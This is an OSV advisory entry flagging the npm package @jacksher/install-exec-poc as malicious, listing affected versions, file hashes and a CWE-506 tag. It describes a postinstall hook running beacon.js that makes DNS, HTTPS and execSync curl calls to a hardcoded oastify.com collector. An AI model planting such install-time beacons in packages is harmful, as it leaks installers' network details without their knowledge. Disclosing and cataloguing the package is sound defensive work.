MAL-2026-13972

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@jacksher/install-exec-poc/MAL-2026-13972.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-13972
Published
2026-08-13T21:13:25Z
Modified
2026-08-13T21:30:24.631855458Z
Summary
Malicious code in @jacksher/install-exec-poc (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (d2551a4d2336e3a5279c44673c1a18dbcebc62268773ee324c8a8e7bb8828423)

package.json declares postinstall: node beacon.js. On every npm install, beacon.js unconditionally performs a DNS lookup, an HTTPS GET to https://jobzq12beck611luewfsf8yyepkg86wv.oastify.com/postinstall-fired, and child_process.execSync('curl -s https://<same-host>/ci', {stdio:'ignore'}) against the same hardcoded oastify.com (Burp Collaborator) subdomain. The callback fires unconditionally at install time, causing the installer's machine to emit out-of-band DNS and HTTP traffic to an attacker-controlled OAST collector, disclosing the installer's public IP and resolver metadata. The use of execSync to shell out to curl at postinstall also establishes an install-time shell-to-network primitive on the installer's host. The package name (install-exec-poc) self-labels as a proof-of-concept, but the behavior fires on any consumer who installs the package.

Database specific 
{
    "malicious-packages-origins": [
        {
            "id": "IN-MAL-2026-017705",
            "import_time": "2026-08-13T21:20:58.43423399Z",
            "sha256": "d2551a4d2336e3a5279c44673c1a18dbcebc62268773ee324c8a8e7bb8828423",
            "modified_time": "2026-08-13T21:13:25Z",
            "source": "amazon-inspector",
            "versions": [
                "1.0.2"
            ]
        },
        {
            "id": "IN-MAL-2026-017706",
            "import_time": "2026-08-13T21:20:58.47031657Z",
            "sha256": "f68ecfc27a1195ccbd2e11a25ccc31380f36dfd4251ae145d8ab3b3c10c7189f",
            "modified_time": "2026-08-13T21:13:36Z",
            "source": "amazon-inspector",
            "versions": [
                "1.0.0"
            ]
        }
    ]
}
References
Credits

Affected packages

npm / @jacksher/install-exec-poc

Package

Name
@jacksher/install-exec-poc
View open source insights on deps.dev
Purl
pkg:npm/%40jacksher/install-exec-poc

Affected ranges

Affected versions

1.*
1.0.0
1.0.2

Database specific

cwes 
[
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506"
    },
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506"
    }
]
indicators 
{
    "evidence_files": [
        {
            "path": "beacon.js",
            "tlsh": "6ee02bfa47c8c7bd7a6050d0bbe50d3e6413c21447c01594a1a611631ac23ab29718b9",
            "sha256": "b43d463c3a1ee5c97499f0054d549696680a34d8abab0f8bee20bb505a319d1d"
        }
    ],
    "package_integrity": [
        {
            "filename": "install-exec-poc-1.0.2.tgz",
            "hashes": {
                "sha512_sri": "sha512-811239AXkg28HHtq5MFVvtL79SFQMowmXeVqZJL35wWESlVoWB2EWAYfi8JPaZ/4MEiLkwLLhyHiHGnzocNXoQ==",
                "sha1": "c4157f00fd4dcf527e6008ac16a486e6c586149e"
            }
        }
    ]
}
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@jacksher/install-exec-poc/MAL-2026-13972.json"